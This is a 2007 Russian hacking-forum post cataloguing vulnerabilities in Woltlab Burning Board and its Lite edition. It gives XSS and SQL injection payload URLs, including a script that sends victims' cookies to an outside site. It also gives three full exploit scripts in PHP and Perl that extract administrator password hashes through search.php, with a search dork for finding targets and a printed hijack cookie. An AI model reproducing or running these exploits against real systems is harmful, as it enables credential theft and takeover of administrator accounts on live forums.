ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
 
 
Опции темы Поиск в этой теме Опции просмотра

[Обзор уязвимостей Woltlab Burning Board + Lite]
  #1  
Старый 07.07.2007, 21:36
Аватар для BlackCats
BlackCats
Постоянный
Регистрация: 01.02.2006
Сообщений: 970
Провел на форуме:
9254548

Репутация: 1942


Exclamation [Обзор уязвимостей Woltlab Burning Board + Lite]

Burning Board 2.0 \ 2.0.1 \ 2.0.2
XSS
Wiw.php сценарий не достаточно фильтрует данные, представленные пользователем в sortby и order параметрах. Уязвимость может использоваться для доступа к куки пользователя wBB форума.
Пример:
Код:
/board/wiw.php?sid=&order=%22%3E%3Cscript%20type= %22text/javascript%22%3Eal ert(document.cookie);%3C/script%3E%3Cb%20%22
Burning Board 2.0
sql инъекция
Из за недостаточного сканирования параметров, обрабатываемых сценарием board.php, атакующий может внедрить произвольный SQL код в существующий SQL запрос. Уязвимость позволяет атакующему модифицировать данные в базе данных, выполнять произвольные команды и получать привилегии администратора BBS.

Пример:
Код:
board.php?boardid=[boardid]%27,%20userid=%27[victims userid, 1 is usually an admin]&sid=[attackers session-id]


Burning Board 2.х

sql инъекция

Уязвимость существует в функции verify_email() при обработке входных данных формы в переменной $email. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

Пример:
Код:
sre464hfrgt6@4g546ufgfrh5.org' OR (userid=1 AND MID(password,1,1)='a')/*
Burning Board 2.x
XSS
при регистрации в полях:

Код:
username
email addres
password
confirm password
homepage
icq uin
aim screenname
yim screenname
msn screenname
срабатывает xss.

Burning Board 2.3.1 и более ранние версии
XSS
Уязвимость позволяет удаленному пользователю произвести XSS нападение и получить доступ к потенциально важным данным других пользователей. Уязвимость существует в сценарии 'thread.php' из-за некорректной обработки входных данных в параметре 'hilight'.

Пример:
Код:
/thread.php?threadid=[TOPIC_ID]&hilight=[XSS]
Burning Board 2.2.2/2.3.3 и более ранние версии

sql инъекция

Пример:
Код:
/modcp.php?action=post_del&x='SQ L_CODE_HERE
/modcp.php?action=post_del&x=6&y='SQL_CODE_HERE
Burning Board 2.3.4
XSS
Уязвимость позволяет удаленному пользователю произвести XSS нападение. Уязвимость существует из-за недостаточной обработки входных данных в сценарии "acp/lib/class_db_mysql.php".

пример:
Код:
/wbb/xx.php?<script>location.href='http://yoursite.com/xss.php? cook='+escape(document.cookie)</script>
Burning Board 2.3.5
XSS
Уязвимость позволяет удаленному пользователю произвести XSS нападение. Уязвимость существует из-за недостаточной обработки входных данных в вложениях. Удаленный пользователь может с помощью специально сформированного изображения (GIF файл с расширением .jpg) выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.


Burning Board 2.3.6

sql инъекция

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных сценарием search.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

3 сплоита под это дело:

PHP код:
<?php

/*
###################################
# http://www.undergroundagents.de #
# coded by silent vapor           #
# webmaster@undergroundagents.de  #
###################################
*/

print_r('
--------------------------------------------------------------------------------
Woltlab Burning Board Lite <= 1.0.2 GetHashes over search.php
Woltlab Burning Board <= 2.3.6 GetHashes over search.php
by silent vapor (webmaster@undergroundagents.de)
site: http://www.undergroundagents.de
dork: "Powered by Burning Board Lite 1.0.2" or
     "Powered by Burning Board 2.3.6"
--------------------------------------------------------------------------------
'
);

if (
$argc<3) {
   
print_r('
--------------------------------------------------------------------------------
Usage: php '
.$argv[0].' host path boardid searchstring OPTIONS
host:             target server (ip/hostname)
path:             path to wbblite
boardid:          a boardid where you will search
searchstring:     a searchstring, that will be found in this board

Options:
 -o[prefix]:     " a table prefix (default: bb1_)
 -p[port]:       " a port other than 80
 -P[ip:port]:    " a proxy
 -t[n]:          " adjust query timeout (default: 10)

Example:
php '
.$argv[0].' localhost /wbblite/ 28 avatar
 "       "       localhost / 29 cpu -p81 -P127.0.0.1:8080
--------------------------------------------------------------------------------
'
);
   die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

$proxy_regex '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function 
sendpacketii($packet)
{
 global 
$proxy$host$port$html$proxy_regex;
 if (
$proxy=='') {
   
$ock=fsockopen(gethostbyname($host),$port);
   if (!
$ock) {
     echo 
'No response from '.$host.':'.$port; die;
   }
 }
 else {
       
$c preg_match($proxy_regex,$proxy);
   if (!
$c) {
     echo 
'Not a valid proxy...';die;
   }
   
$parts=explode(':',$proxy);
   echo 
"Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
   
$ock=fsockopen($parts[0],$parts[1]);
   if (!
$ock) {
     echo 
'No response from proxy...';die;
       }
 }
 
fputs($ock,$packet);
 if (
$proxy=='') {
   
$html='';
   while (!
feof($ock)) {
     
$html.=fgets($ock);
   }
 }
 else {
   
$html='';
   while ((!
feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
     
$html.=fread($ock,1);
   }
 }
 
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$boardid=$argv[3];
$searchstring=$argv[4];

$prefix "bb1_";
$port=80;
$timeout=10;
$proxy="";

for (
$i=5$i<$argc$i++){
$temp=$argv[$i][0].$argv[$i][1];
if (
$temp=="-p")
{
 
$port=str_replace("-p","",$argv[$i]);
}
if (
$temp=="-P")
{
 
$proxy=str_replace("-P","",$argv[$i]);
}
if (
$temp=="-t")
{
 
$timeout=(int) str_replace("-t","",$argv[$i]);
}
if (
$temp=="-o")
{
 
$prefix=str_replace("-o","",$argv[$i]);
}
}
if ((
$path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
$path .= "search.php";
if (
$proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$boardids="boardids%5B%5D=$boardid) UNION SELECT username,password FROM ".$prefix."users WHERE 1 NOT IN (0,0";
$data "searchstring=$searchstring&searchuser=&name_exactly=1&$boardids&showposts=0&searchdate=0";
$data .= "&beforeafter=after&sortby=lastpost&sortorder=desc&send=send&submit=Suchen";

$packet ="POST ".$p." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: wbb_userpassword=0;\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;

sendpacketii($packet);

if (
eregi("Database error",$html)){
   echo 
"<b>vulnerable...</b><br><br>";
   
$temp1=explode("b.boardid IN (",$html);
   
$temp2=explode(")",$temp1[1]);
   
$temp3=explode("&sid=",$temp2[0]);
   
$temp4=$temp3[0];
   
$temp5=explode(",",$temp4);

   for (
$i=0;$i<count($temp5);$i++)
   {
    if (
$i%== 0)
     echo 
$temp5[$i]." ( Hash: ";
   else
     echo 
$temp5[$i].")<br>";
   }
}

?>
Код:
#!/usr/bin/perl
#       Woltlab Burning Board 2.X/Lite search.php SQL Injection exploit - burned.pl
#       written by trew <trew@safe-mail.net>
#
#       should work on every wbb regardless of php settings.
#
#       v 1.2 - added 1337 sql filter evasion, version identification,better regex,raw cookie
# v 1.1 - added wbblite support (thx to lama)
#
#
#
# !PRIVATE! - !PRIVATE!
#
# Leaked by some morons from egocrew
#


use strict;      # 1337
use warnings;    # 31337
use LWP::UserAgent;
use HTTP::Response;
use HTTP::Status;
use Getopt::Std;
getopt('uisUpAclC');
our ( $opt_u, $opt_i, $opt_s, $opt_U, $opt_p, $opt_A, $opt_c, $opt_l, $opt_C );
my $target = shift;
sub do_request($$);
if ( !$target ) { &HELP_MESSAGE; }
my ( $host, $folder );

if ( $target =~ /(?:http:\/\/)?([\w\.\-\_]*)(\/.*)?/ ) {

   $host = $1;
   $folder = ( $2 ? $2 : '/' );
   if ( $folder !~ /\/$/ ) { $folder .= '/'; }
   $target = "http://$host$folder" . 'search.php';
}
else { &HELP_MESSAGE; }

my $ip           = ( $opt_i ? $opt_i : '127.0.0.1' );
my $searchstring = ( $opt_s ? $opt_s : 'board' );
my ( $userid, $userpassword, $proxy, $proxyip );
( $userid, $userpassword ) = split( ':', $opt_U ) if $opt_U;
( $proxy,  $proxyip )      = split( ':', $opt_p ) if $opt_p;
my $uid = ( $opt_u ? $opt_u : 1 );
my $useragent =
 ( $opt_A ? $opt_A : 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' );
my $prefix = ( $opt_c ? $opt_c : 'wbb2_' );
my $lite   = ( $opt_l ? $opt_l : 0 );
my $isHash = 0;

print "burned.pl written by trew\n";
print "report errors \@ trew\@safe-mail.net.. thx\n";
print "[x] Attacking $target...\n";

if ( $userpassword and $userpassword =~ /([a-f0-9]{32})/ ) { $isHash = 1; }

if ( !$lite ) {
   print "[x] Checking wbb version...\n";
   if ( do_request( '', 'editor.jar' ) =~ /404 Not Found/ ) {

       print "[x] Looks like a wbblite\n";
       $prefix = "" if ( !$opt_c );
       $lite = 1;
   }
   else { print "[x] Looks like a normal wbb\n"; }
}

if ( !$lite ) {
   if ( !$opt_c ) {

       my $headers = do_request( '', '' );
       if ( $headers =~ /Set-Cookie: (.*?)cookiehash/ ) {
           $prefix = $1;
       }
       else { print $headers}

   }
   print "[x] Cookie prefix: $prefix\n";
}
print "[x] Vulnerable check:";

my $answer;
my $pre;
$answer = do_request( '\'', '' );

if ( $answer =~ /FROM (.*?)_boards/ ) {
   $pre = $1;
   print " Vulnerable\n";
}
elsif ($answer =~ /Die Suche ergab keine/
   or $answer =~ /No results were found for this search/
   or $answer =~ /Your search is invalid/
   or $answer =~ /Ihre Suchabfrage ist/ )
{
   print " No Idea\n";
   print "[x] Searchstring was not found, try a different one with -s\n";
   exit;
}
elsif ($answer =~ /Ihnen wird der Zutritt zu dieser Seite/
   or $answer =~ /Access denied/ )
{
   print " No Idea\n";
   print "[x] search.php only for users,";
   print " wrong userdetails or wrong cookie-prefix!\n" if $opt_U;
   print " give me userid+password with -U\n"           if !$opt_U;

   exit;
}
else {
   print " Not Vulnerable!\n";

   #print $answer;
   exit;
}

print "[x] Unleashing black magic...\n";
$answer = do_request(
   ' UNION/*s12s*/  SELECT/*t35s*/  password , password /*er35*/ FRoM ' . $pre
     . '_users  WHeRE/*esr35*/  userid='
     . $uid . '/*',
   ''
);

if ( $answer =~ /${folder}search.php/ and $answer =~ /([a-f0-9]{32})/ ) {
   print "[x] Looks good!\n";
   print "[x] Userid: $uid\n";
   print "[x] Hash: $1\n";
   if ( !$opt_C ) {
       print
"[x] Use this Cookie:\n ${prefix}userid=$uid;${prefix}userpassword=$1\n";
   }

}
else {
   print "[x] Looks bad!\n";
   print $answer;

}

sub HELP_MESSAGE() {
   print "burned.pl written by trew\n"
     . "perl $0 [options] url\n"
     . "examples:\n"
     . "perl $0 woltlab.de/forum/\n"
     . "perl $0 -u 2 -i 127.0.0.2 woltlab.de/de/forum/\n"
     . "overwrite -c and -l only when the auto-check "
     . "gives you a false result\n"
     . "use -C when you need some special cookies\n"
     . "options :\n-u userid of victim [1]\n"
     . "-i faked client-ip [127.0.0.1]\n"
     . "-s searchstring [board]\n"
     . "-U userid:password or userid:pwhash [none]\n"
     . "-p proxyip:proxyport [none]\n"
     . "-A user-agent [firefox 1.5.09]\n"
     . "-c cookie-prefix [auto-check]\n"
     . "-l wbblite mode [auto-check]\n"
     . "-C raw cookie\n";
   exit;
}

sub do_request($$) {
   my $string   = shift;
   my $otherurl = shift;
   if ($otherurl) { $target = "http://$host$folder" . $otherurl; }
   else { $target = "http://$host$folder" . 'search.php' }
   $string = '/*' if ( !$string );
   my $ua = LWP::UserAgent->new;
   if ($proxy) { $ua->proxy( 'http', "http://$proxy:$proxyip/" ); }
   my $request = new HTTP::Request( 'POST', $target );
   $request->content( 'boardids%5B0%5D=1&boardids%5B1%5D=2,3,4)' . $string
         . '&send=1&searchstring='
         . $searchstring );
   $request->content_type('application/x-www-form-urlencoded');
   $request->header( 'User-Agent' => $useragent );

   if ($opt_U) {
       my $userhash;
       if ( !$isHash ) { $userhash = md5($userpassword); }
       else { $userhash = $userpassword; }
       my $cookie = $prefix
         . 'userid='
         . $userid . ';'
         . $prefix
         . 'userpassword='
         . $userhash;

       $request->header( 'Cookie' => $cookie );
   }
   elsif ($opt_C) {
       $request->header( 'Cookie' => $opt_C );
   }
   $request->header( 'Client-Ip' => $ip );
   my $response = $ua->request($request);
   my $body     = $response->content;
   my $headers  = $response->headers_as_string;
   $body = $response->error_as_HTML if ( $response->is_error );

   return $headers if ( $string eq '/*' and !$response->is_error );
   return $body;
}

# MD5 Code ripped from Libwhisker for bigger portability
# thx rfp :)
{
   my ( @S, @T, @M );
   my $code = '';

   sub md5 {
       return undef if ( !defined $_[0] );    # oops, forgot the data
       my $DATA = _md5_pad( $_[0] );
       &_md5_init() if ( !defined $M[0] );
       return _md5_perl_generated( \$DATA );
   }

   sub _md5_init {
       return if ( defined $S[0] );
       my $i;
       for ( $i = 1 ; $i <= 64 ; $i++ ) {
           $T[ $i - 1 ] = int( ( 2**32 ) * abs( sin($i) ) );
       }
       my @t = ( 7, 12, 17, 22, 5, 9, 14, 20, 4, 11, 16, 23, 6, 10, 15, 21 );
       for ( $i = 0 ; $i < 64 ; $i++ ) {
           $S[$i] = $t[ ( int( $i / 16 ) * 4 ) + ( $i % 4 ) ];
       }
       @M = (
           0, 1, 2,  3,  4,  5,  6,  7,  8,  9,  10, 11, 12, 13, 14, 15,
           1, 6, 11, 0,  5,  10, 15, 4,  9,  14, 3,  8,  13, 2,  7,  12,
           5, 8, 11, 14, 1,  4,  7,  10, 13, 0,  3,  6,  9,  12, 15, 2,
           0, 7, 14, 5,  12, 3,  10, 1,  8,  15, 6,  13, 4,  11, 2,  9
       );
       &_md5_generate();
       my $TEST = _md5_pad('foobar');

       if ( _md5_perl_generated( \$TEST ) ne
           '3858f62230ac3c915f300c664312c63f' )
       {
           die('Error: MD5 self-test not successful.');
       }
   }

   sub _md5_pad {
       my $l = length( my $msg = shift() . chr(128) );
       $msg .= "\0" x ( ( $l % 64 <= 56 ? 56 : 120 ) - $l % 64 );
       $l = ( $l - 1 ) * 8;
       $msg .= pack 'VV', $l & 0xffffffff, ( $l >> 16 >> 16 );
       return $msg;
   }

   sub _md5_generate {
       my $N = 'abcddabccdabbcda';
       my ( $i, $M ) = ( 0, '' );
       $M    = '&0xffffffff' if ( ( 1 << 16 ) << 16 ); # mask for 64bit systems
       $code = <<EOT;
       sub _md5_perl_generated {
       BEGIN { \$^H |= 1; }; # use integer
       my (\$A,\$B,\$C,\$D)=(0x67452301,0xefcdab89,0x98badcfe,0x10325476);
       my (\$a,\$b,\$c,\$d,\$t,\$i);
       my \$dr=shift;
       my \$l=length(\$\$dr);
       for my \$L (0 .. ((\$l/64)-1) ) {
               my \@D = unpack('V16', substr(\$\$dr, \$L*64,64));
               (\$a,\$b,\$c,\$d)=(\$A,\$B,\$C,\$D);
EOT
       for ( $i = 0 ; $i < 16 ; $i++ ) {
           my ( $a, $b, $c, $d ) =
             split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );
           $code .=
             "\$t=((\$$d^(\$$b\&(\$$c^\$$d)))+\$$a+\$D[$M[$i]]+$T[$i])$M;\n";
           $code .=
"\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";
       }
       for ( ; $i < 32 ; $i++ ) {
           my ( $a, $b, $c, $d ) =
             split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );
           $code .=
             "\$t=((\$$c^(\$$d\&(\$$b^\$$c)))+\$$a+\$D[$M[$i]]+$T[$i])$M;\n";
           $code .=
"\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";
       }
       for ( ; $i < 48 ; $i++ ) {
           my ( $a, $b, $c, $d ) =
             split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );
           $code .= "\$t=((\$$b^\$$c^\$$d)+\$$a+\$D[$M[$i]]+$T[$i])$M;\n";
           $code .=
"\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";
       }
       for ( ; $i < 64 ; $i++ ) {
           my ( $a, $b, $c, $d ) =
             split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );
           $code .= "\$t=((\$$c^(\$$b|(~\$$d)))+\$$a+\$D[$M[$i]]+$T[$i])$M;\n";
           $code .=
"\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";
       }
       $code .= <<EOT;
               \$A=\$A+\$a\&0xffffffff; \$B=\$B+\$b\&0xffffffff;
               \$C=\$C+\$c\&0xffffffff; \$D=\$D+\$d\&0xffffffff;
       } # for
       return unpack('H*', pack('V4',\$A,\$B,\$C,\$D)); }
EOT
       eval "$code";
   }
}    # md5 package container
Код:
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Response;

$| = 1;
print "
###################################################
##
## Woltlab Burning Board 2.3.6 <= / Lite Exploit 
##
###################################################
##
## Coded by 666 <http://blueshisha.mutebox.net>
## Bug by trew
##
###################################################
\n";

if($#ARGV < 0)
{
        print "[x] Usage: wbbsploit.pl [Target] [Userid] [Searchstring]\n";
        exit;
}
print "<~> Exploiting...\n";
my $url = shift;
my $id = shift;
my $sstring = shift;

my $ua = LWP::UserAgent->new;
my $request = new HTTP::Request('POST', 'http://'.$url.'search.php');
$request->content('searchuser=&name_exactly=1&topiconly=0&showposts=0&searchdate=0&beforeafter=after&sortby=lastpost&sortorder=desc&send=send&sid=&submit=Suchen&boardids%5B%5D=1)%20UNION%20SELECT%20username,password%20FROM%20bb1_users%20WHERE%20userid='.$id.'/*&searchstring='.$sstring.'');
$request->content_type('application/x-www-form-urlencoded');
my $response = $ua->request($request);
my $body     = $response->content;
print "<~> Hash: ";
$body=~/([a-f0-9]{32})/;
print $1;
print "\n";
спасибо багтракам хакера, и секлаба.

Последний раз редактировалось BlackCats; 08.07.2007 в 01:25..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Поиск уязвимостей в Burning Board GrAmOzEkA Болталка 2 25.07.2008 22:02
Woltlab Burning Board 2.3.6 (Null) ~!DoK_tOR!~ ПО для Web разработчика 5 24.05.2007 11:30
WoltLab Burning Board 2.2 - что за крепость, и есть ли уязвимости? Anti Форумы 8 13.06.2006 16:09



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ